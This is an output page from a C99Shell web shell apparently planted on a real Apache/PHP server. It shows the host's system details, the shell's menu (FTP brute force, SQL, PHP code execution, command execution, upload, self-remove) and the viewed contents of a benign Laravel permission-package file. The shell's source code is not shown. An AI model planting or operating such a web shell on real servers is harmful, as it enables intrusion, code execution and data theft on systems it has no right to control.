!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/spatie/laravel-permission/src/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PermissionServiceProvider.php (7.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Permission;

use 
Composer\InstalledVersions;
use 
Illuminate\Contracts\Auth\Access\Gate;
use 
Illuminate\Contracts\Events\Dispatcher;
use 
Illuminate\Contracts\Foundation\Application;
use 
Illuminate\Filesystem\Filesystem;
use 
Illuminate\Foundation\Console\AboutCommand;
use 
Illuminate\Routing\Route;
use 
Illuminate\Support\Arr;
use 
Illuminate\Support\Collection;
use 
Illuminate\Support\ServiceProvider;
use 
Illuminate\View\Compilers\BladeCompiler;
use 
Spatie\Permission\Contracts\Permission as PermissionContract;
use 
Spatie\Permission\Contracts\Role as RoleContract;

class 
PermissionServiceProvider extends ServiceProvider
{
    public function 
boot()
    {
        
$this->offerPublishing();

        
$this->registerMacroHelpers();

        
$this->registerCommands();

        
$this->registerModelBindings();

        
$this->registerOctaneListener();

        
$this->callAfterResolving(Gate::class, function (Gate $gateApplication $app) {
            if (
$this->app['config']->get('permission.register_permission_check_method')) {
                
/** @var PermissionRegistrar $permissionLoader */
                
$permissionLoader $app->get(PermissionRegistrar::class);
                
$permissionLoader->clearPermissionsCollection();
                
$permissionLoader->registerPermissions($gate);
            }
        });

        
$this->app->singleton(PermissionRegistrar::class);

        
$this->registerAbout();
    }

    public function 
register()
    {
        
$this->mergeConfigFrom(
            
__DIR__.'/../config/permission.php',
            
'permission'
        
);

        
$this->callAfterResolving('blade.compiler', fn (BladeCompiler $bladeCompiler) => $this->registerBladeExtensions($bladeCompiler));
    }

    protected function 
offerPublishing(): void
    
{
        if (! 
$this->app->runningInConsole()) {
            return;
        }

        if (! 
function_exists('config_path')) {
            
// function not available and 'publish' not relevant in Lumen
            
return;
        }

        
$this->publishes([
            
__DIR__.'/../config/permission.php' => config_path('permission.php'),
        ], 
'permission-config');

        
$this->publishes([
            
__DIR__.'/../database/migrations/create_permission_tables.php.stub' => $this->getMigrationFileName('create_permission_tables.php'),
        ], 
'permission-migrations');
    }

    protected function 
registerCommands(): void
    
{
        
$this->commands([
            
Commands\CacheReset::class,
        ]);

        if (! 
$this->app->runningInConsole()) {
            return;
        }

        
$this->commands([
            
Commands\CreateRole::class,
            
Commands\CreatePermission::class,
            
Commands\Show::class,
            
Commands\UpgradeForTeams::class,
        ]);
    }

    protected function 
registerOctaneListener(): void
    
{
        if (
$this->app->runningInConsole() || ! $this->app['config']->get('octane.listeners')) {
            return;
        }

        
$dispatcher $this->app[Dispatcher::class];
        
// @phpstan-ignore-next-line
        
$dispatcher->listen(function (\Laravel\Octane\Contracts\OperationTerminated $event) {
            
// @phpstan-ignore-next-line
            
$event->sandbox->make(PermissionRegistrar::class)->setPermissionsTeamId(null);
        });

        if (! 
$this->app['config']->get('permission.register_octane_reset_listener')) {
            return;
        }
        
// @phpstan-ignore-next-line
        
$dispatcher->listen(function (\Laravel\Octane\Contracts\OperationTerminated $event) {
            
// @phpstan-ignore-next-line
            
$event->sandbox->make(PermissionRegistrar::class)->clearPermissionsCollection();
        });
    }

    protected function 
registerModelBindings(): void
    
{
        
$this->app->bind(PermissionContract::class, fn ($app) => $app->make($app->config['permission.models.permission']));
        
$this->app->bind(RoleContract::class, fn ($app) => $app->make($app->config['permission.models.role']));
    }

    public static function 
bladeMethodWrapper($method$role$guard null): bool
    
{
        return 
auth($guard)->check() && auth($guard)->user()->{$method}($role);
    }

    protected function 
registerBladeExtensions(BladeCompiler $bladeCompiler): void
    
{
        
$bladeMethodWrapper '\\Spatie\\Permission\\PermissionServiceProvider::bladeMethodWrapper';

        
// permission checks
        
$bladeCompiler->if('haspermission', fn () => $bladeMethodWrapper('checkPermissionTo', ...func_get_args()));

        
// role checks
        
$bladeCompiler->if('role', fn () => $bladeMethodWrapper('hasRole', ...func_get_args()));
        
$bladeCompiler->if('hasrole', fn () => $bladeMethodWrapper('hasRole', ...func_get_args()));
        
$bladeCompiler->if('hasanyrole', fn () => $bladeMethodWrapper('hasAnyRole', ...func_get_args()));
        
$bladeCompiler->if('hasallroles', fn () => $bladeMethodWrapper('hasAllRoles', ...func_get_args()));
        
$bladeCompiler->if('hasexactroles', fn () => $bladeMethodWrapper('hasExactRoles', ...func_get_args()));
        
$bladeCompiler->directive('endunlessrole', fn () => '<?php endif; ?>');
    }

    protected function 
registerMacroHelpers(): void
    
{
        if (! 
method_exists(Route::class, 'macro')) { // Lumen
            
return;
        }

        
Route::macro('role', function ($roles = []) {
            
/** @var Route $this */
            
return $this->middleware('role:'.implode('|'Arr::wrap($roles)));
        });

        
Route::macro('permission', function ($permissions = []) {
            
/** @var Route $this */
            
return $this->middleware('permission:'.implode('|'Arr::wrap($permissions)));
        });
    }

    
/**
     * Returns existing migration file if found, else uses the current timestamp.
     */
    
protected function getMigrationFileName(string $migrationFileName): string
    
{
        
$timestamp date('Y_m_d_His');

        
$filesystem $this->app->make(Filesystem::class);

        return 
Collection::make([$this->app->databasePath().DIRECTORY_SEPARATOR.'migrations'.DIRECTORY_SEPARATOR])
            ->
flatMap(fn ($path) => $filesystem->glob($path.'*_'.$migrationFileName))
            ->
push($this->app->databasePath()."/migrations/{$timestamp}_{$migrationFileName}")
            ->
first();
    }

    protected function 
registerAbout(): void
    
{
        if (! 
class_exists(InstalledVersions::class) || ! class_exists(AboutCommand::class)) {
            return;
        }

        
// array format: 'Display Text' => 'boolean-config-key name'
        
$features = [
            
'Teams' => 'teams',
            
'Wildcard-Permissions' => 'enable_wildcard_permission',
            
'Octane-Listener' => 'register_octane_reset_listener',
            
'Passport' => 'use_passport_client_credentials',
        ];

        
$config $this->app['config'];

        
AboutCommand::add('Spatie Permissions', static fn () => [
            
'Features Enabled' => collect($features)
                ->
filter(fn (string $featurestring $name): bool => $config->get("permission.{$feature}"))
                ->
keys()
                ->
whenEmpty(fn (Collection $collection) => $collection->push('Default'))
                ->
join(', '),
            
'Version' => InstalledVersions::getPrettyVersion('spatie/laravel-permission'),
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0078 ]--